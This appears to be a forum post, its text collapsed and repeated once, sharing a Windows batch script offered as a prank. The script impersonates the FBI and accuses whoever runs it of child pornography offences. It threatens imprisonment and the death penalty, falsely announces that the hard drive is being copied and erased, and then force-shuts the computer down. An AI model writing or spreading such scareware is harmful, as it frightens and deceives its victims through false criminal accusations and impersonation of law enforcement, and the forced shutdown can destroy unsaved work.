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    Hey guys i just made a new CMD for FBI... Try it!!@echo offcolor 0ftitle FBI HDD SEARCH AND SEIZUREecho Obtaining Computer's IP Address...timeout 3echo .........................echo . CONTACTING THE FBI... .echo .........................timeout 3echo ...........................................echo . DIALING FBI PHONE NUMBER (202) 324-3000 .echo ...........................................timeout 10echo ................................................................................echo . ATTENTION!!! Your computer IP Address 92.102.01.2 is now being traced by .echo . the FBI as it is suspect of having visited or hosted A child porn site and/ .echo . or have uploaded, downloaded or both to a known child porn site. Visiting, .echo . hosting, uploading or downloading nude pictures of...see more »Hey guys i just made a new CMD for FBI... Try it!!@echo offcolor 0ftitle FBI HDD SEARCH AND SEIZUREecho Obtaining Computer's IP Address...timeout 3echo .........................echo . CONTACTING THE FBI... .echo .........................timeout 3echo ...........................................echo . DIALING FBI PHONE NUMBER (202) 324-3000 .echo ...........................................timeout 10echo ................................................................................echo . ATTENTION!!! Your computer IP Address 92.102.01.2 is now being traced by .echo . the FBI as it is suspect of having visited or hosted A child porn site and/ .echo . or have uploaded, downloaded or both to a known child porn site. Visiting, .echo . hosting, uploading or downloading nude pictures of children to such .echo . internet sites in the United States of America is ILLEGAL and is punishable .echo . by no less than 5-10 years imprisonment PER COUNT WITHOUT PAROLE, $500,000 .echo . fine, and/or the echo .death penalty (in some states) if proven guilty. .echo ................................................................................timeout 10echo ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::echo :: Erasure of your computer's Hard Drive(s) to conceal evidence of your ::echo :: internet whereabouts will result in further investigation and severe ::echo :: criminal penalties to include ten (10) years imprisonment and/or ::echo :: $500,000 fine for obstruction of justice under the federal penal code. ::echo ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::echo .................................................echo . THE FBI IS COPYING YOUR HARD DRIVE(S) NOW!! .echo .................................................timeout 5 echo ...................................................echo . HDD COPY CYCLE COMPLETE!! NOW DELETING HDD DATA .echo ...................................................timeout 5echo ......................................................................echo . To prevent further instances in the future the FBI has anonomously .echo . decided to render your computer unusable and will now permanently .echo . disable your computer. .echo ......................................................................echo .......I Will Now Execute Command, 3hgw5th6p.exe, in 15 seconds.......echo ......................................................................timeout 15set loopvar=1:looplabelset /a loopvar=%loopvar%+1echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%if '%loopvar%'=='1500' goto endlabelgoto looplabel:endlabelshutdown -s -f -t 15 -c "The FBI HDD Search and Seizure program is now finished. We will contact you within 8-10 business days reguarding the results of your computer's HDD Search and Siezure."exit

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